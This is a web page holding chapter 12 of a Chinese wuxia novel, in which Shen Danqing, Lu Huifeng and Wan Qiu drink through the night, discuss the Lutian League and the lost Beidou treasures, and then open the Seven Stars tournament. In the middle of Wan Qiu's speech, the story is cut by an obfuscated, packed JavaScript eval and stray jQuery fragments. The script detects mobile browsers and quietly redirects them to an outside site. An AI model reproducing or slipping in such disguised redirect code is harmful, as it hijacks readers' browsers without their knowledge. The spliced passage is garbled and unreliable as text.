12. 七星大典

作品:《凤傲天贴身保镖养成计划

    “我自己的名字,”沈丹青笑意不复,忍不住翻了个白眼,“‘琅琅’是我小字,取金石击玉之声。我看你这人真是没有良心。我帮你想办法,你还嘲讽我?怎不说你这名字才像假的?不然那么多仇家在世,还能由着你打听过去的事?”


    陆回风别开目光:“半真半假。”


    “怎说?”


    “我幼年本随父姓,而后爹娘分开,给我改过姓名。”


    沈丹青懒得多言,低头继续翻看名册,翻页的手忽地停住,看着某页角落里一个名字,喃喃自语:“这人叫什么……水痕?怎么会有这么奇怪的名字……”


    二人把名册从头翻到尾,也没找出什么名堂。等看完所有内容,已然到了傍晚。她虽表现得十分关心,但说到底,所做一切也不过是为了早日解决麻烦回家而已。


    跑腿这种体力活,当然是让陆回风自己干。


    她洗漱睡下,约莫过了半个多时辰,却听见敲门,打开一看,却见站在门外的是白日来送名册的伙计,不禁疑惑道:“有事?”


    “陆少侠被万大官人留下,饮酒闲叙,让我来和姑娘说一声,请您早些休息。”


    “关我什么事?”沈丹青被打扰睡觉,只觉这话传得多此一举,自作多情,不由得翻了个白眼,道,“让他歇着吧,爱干嘛干嘛,又不等着他伺候。”说完这话,转身便要关门,却忽地一愣。


    她猛一回头:“喝酒?”


    伙计点头。


    沈丹青神色凝重,心陡地一震:那姓陆的分明沾酒就咳,显然从未碰过酒,连自己能喝多少都不知道,即便再蠢,也绝不可能毫无提防跑去与人彻夜对饮。


    别到时遭了算计,心肝脾肺肾都被人挖个干净。


    她反应过来,即刻拨开伙计往楼下冲去。她不会轻功,想去另一幢楼,只能先下至门厅再绕过去。这陆回风虽死要面子大臭嘴,但眼下处境,二人生死一体,不管谁遇上麻烦,另一个都得倒大霉。她才及笄两年,还没活够呢。


    谁知她到了万丘门前,却听见屋内传出爽朗的笑声。沈丹青推门的手已不及收回,一个趔趄,直接跌扑上前,一头撞开了门。


    屋内二人几乎同时回头看了过来。


    陆回风眸间疑窦丛生。沈丹青身形亦已滞住。


    眼前客房,桌椅陈设,各式摆件,同昨天夜里别无二致。万丘与陆回风二人相对而坐,手边摆着海碗,斟满清酒。昨日多剩的那坛“江雪”,已空了半坛,陆回风的那只仍是满的,显然搁了半晌不曾动过,碗沿酒面已落了些微细尘。


    “原来是阿琅妹子,来来来。”万丘摆手招呼,即刻取了只新碗斟酒,“陆兄弟这酒碗一满便空不下来,你来的正好,别浪费了好酒。”


    “可是我……”沈丹青一时不知自己该尴尬还是该庆幸,两手扶着门框,颇为局促一笑,赶紧点了点头,快步走至桌旁坐下。


    陆回风眼中疑惑仍在,一脸莫名其妙看着她。


    沈丹青没有理他,转头从万丘手里接过满满一碗酒,报复式的嘬了一大口,又“啪嗒”放下。


    “方才说到哪儿了?”万丘笑呵呵道,“对了,差点忘了问,二位为何要找那位袁先生?”


    “有些过节。”沈丹青嘴比脑袋快,答完方回过味来,愣了一愣,转头看向陆回风,那眼神分明在问:你这就说了?怎么说的?


    “哦?”万丘听到她的话,略一沉默,端起酒碗朝她敬来,“可据我所知,袁老先生一直避世而居,与世无争。如此萧然物外,性情旷达之人,为何会与二位有瓜葛?”


    陆回风蹙眉,开口道:“因为……”


    “是有瓜葛没错。”沈丹青一把按住陆回风的手,打断他话头,笑吟吟接道,“但此间细节,不便对万兄明说。但这事可大可小。若真如万兄所说,袁先生为人正直,超然自逸。那这很可能是我们对他有所误会,须得见上一面,方能说得清楚。”


    “原来如此。””万丘眉梢微挑,哈哈笑出声来,满饮一大碗清酒,摇头笑道,“那就可惜了,在下虽识得这位老先生,却只有一面之缘,只知他曾在坊州附近山中隐居,怕是帮不了二位的忙了。”


    “坊州?”陆回风眉心一动,“阁下指的可是沧麓山一代?”


    “不错,”万丘一点头,道,“如此说来,你们已去过了?”


    “非但去过,”陆回风目光忽然变得凝重,抬眸直视他道,“还在他旧居门前,遇见了埋伏。”


    万丘眉心微蹙,酒色微醺的眼底陡地投射出一抹清亮的颜色:“可否详细说说?”


    沈丹青眼前一亮:“莫非万兄知道此事是何人所为?”


    沈丹青隐约还记得那日自己躲进木屋时,对她出手那人胳膊上的半截刺青。而在门外与陆回风交手的众人,却无相同印记。她用手沾了酒水,在桌面简单画了几笔,描绘出所见刺青一角的轮廓。


    “如此说来,只怕真是戮天盟的手笔。”万丘只看了一眼,目光转瞬了然。


    “就这么一小段也能看出来?”沈丹青诧异问道,“这个‘戮天盟’又是什么东西?”


    “女侠有所不知,”万丘将她跟前酒碗斟满,又取了只茶盏盛了水,推至陆回风跟前,“邪魔外道,阴沟里的老鼠,素来都是他们这副做派。”


    “可否详细说说?”陆回风不觉蹙紧了眉。


    “戮天盟的前身,叫做‘天火神教’,教主归海龙诚,暴虐成性,为抢夺昔年北斗派流落在外的秘籍珍宝,四处烧杀抢掠,无恶不作。”


    万丘说着这话,神色不觉多了几分凝重:“有道是恶人自有恶人磨。据说此人暴戾恣睢,对待手下也极为苛刻,终而引发不满,最后死在自己的部下手里。从那以后,天火神教也改头换面,成了今日的戮天盟。掌事人据说是个女子,名唤连碧心,所行还是旧时那套,换汤不换药。依旧上不得台面。”


    “天火神教……戮天盟……”沈丹青疑惑不已,“这两个名字,分明对立。既看不惯前人,怎么还学着他办事?”


    万丘哈哈大笑:“阿琅姑娘应当知道,这狗抢骨头,抢不过时会怎么做吧?”


    沈丹青恍然大悟:“莫不是分赃不均,所以互相撕咬,争夺领地?”


    “不错。”万丘点头,神色又多了几分凝重,“改个名字,不过也就图个声势。历来改朝换代,何时缺过残民害物的暴君?只是换个掌权人罢了。对外人而言,依旧是帮丧尽天良的祸害。”


    “所以来来去去,都离不开这北斗派的宝物。”沈丹青愈觉费解,“到底是什么东西,引来这么多人趋之若鹜?”


    “阿琅姑娘有所不知。”万丘摇头一笑,饶有兴味看向她,道,


    “光是这‘天下第一’几个字,就足够天下习武之人为之癫狂。昔年北斗开山祖师奶奶枯兰在时,北斗派之鼎盛,就连当今江湖数一数二的山海派与闲云山庄上下齐聚,也不及她万中之一。”


    “倘若北斗派中武学,尽数现于世间,莫说戮天盟等邪教中人,即便正道人士,也难抵得住当中诱惑。”


    他顿了顿,又继续说道:“何况除了武功秘籍,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377626|183927||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还有不少其他宝物,相传昔年北斗有一灵药,名为‘化神丹’,说是长期服食,非但可使内力大增,还可改变形貌,隐匿于无形。”


    这话说得神乎其神,听得陆回风一愣。一旁的沈丹青却蹙起了眉,身子往后一倾:“这是妖怪吧?一个早就消弭的门派,被人传出这等鬼话,还真有人信不成?”


    “争利起于人欲。”烛光映在万丘眼底,勾勒出一抹别具意味的深邃,“姑娘不在江湖,自是不解其中之味。”


    沈丹青摇头,沉默不言。


    江湖纷争于她太远,然以书画比之,史皇、封膜之作,今已不传,名家珍品偶流于世,也会立刻被人重金买走。寻常学画者,能看一眼临摹之作,已十分难得。


    但转念想来,名画即使摆在人眼前,天分不佳者,看了也是白看,拆不走半分妙笔。换做习武的话,倘使绝世秘籍谁都能学,那大家都一样,哪还有什么特别?


    可他们争抢此物,不就是为了当第一吗?做天下第一到底有什么好?日日面临生死之战,活得和野兽有什么区别?


    沈丹青越发想不明白,下意识瞥了一眼陆回风,见他也是一副沉思之状,蓦地回神——这万丘看起来还不到而立之年,却能眼观六路,耳听八方,可陆回风他……


    这人和人啊,还真是比不得。


    陆回风这才开口:“如此看来,袁先生是受戮天盟所扰,这才搬离沧麓山避险?那么,关于戮天盟之事,万兄还知道多少,可否说来听听?”


    万丘欣然点头。


    他侃侃而谈,从天火神教作乱一直说到戮天盟成立,但其中大多事件,并不涉及已现世的北斗遗物,更多则是起于谣言,终于杀戮。三人畅谈不止,不知不觉天已大亮。


    沈丹青喝了不少酒,虽不觉醉,却也困倦不已。眼下七星大典擂台待开,万丘须得去往擂场主持大局,见她连着打了好几个哈欠,便即笑道:“琅姑娘可是困了?”


    “是有点……”沈丹青隔窗远远看向天水湖对岸人潮聚集的擂场,皱了皱眉,道,“我就不去了吧……这打来打去,刀剑无眼的……万一有谁失了分寸……”


    “哈哈哈哈——”万丘朗声而笑,“我也正想这么说。既然如此,琅姑娘不妨回去歇着。至于陆兄……”


    “左右闲着无事,去看看也好。”陆回风说着,与他一同转身走出房门。沈丹青懒得掺和,抻了抻腰背,与二人一同下至楼底,经过门厅分散,独自回往另一幢楼的客房休息。


    湖对岸鼓声已起,四周高墙上下张灯结彩,花绸高挂。正中圈出一块四四方方的比武场,后方三层石砌阶顶搭着高台,摆开一排紫檀桌椅。台下武场之外比肩迭踵,无数打扮各异的武者齐聚一堂,不少已开始摩拳擦掌,蓄势待发。


    万丘领着陆回风,沿侧方小道绕行,走上武场正中高台,看向台下鼎沸的人群,朗声说道:“诸位英雄豪杰,今日赏脸参加这七星大典,万某且先在此替我家诸君谢过各位赏脸。”


    说着,他回身一指侧旁木架上的大鼓,道:“少顷辰时鼓响,便是开擂之时。还请诸位放开手脚,拿出看家的本事,摘得魁首。届时东家自会将宝物奉上。”


    言罢击掌三声,只见几名伙计推着一架带滚轮的木制小车自小道走出,车上摆着一只雕刻四方蝠纹的黄花梨木箱,大小约莫一尺见方,箱上扣着一只精巧的小锁。


    这时,伙计们又拿来一块金色绸布,盖上那只箱子。


    陆回风看了一眼,旋即转向万丘:


    “这就是那件宝物?”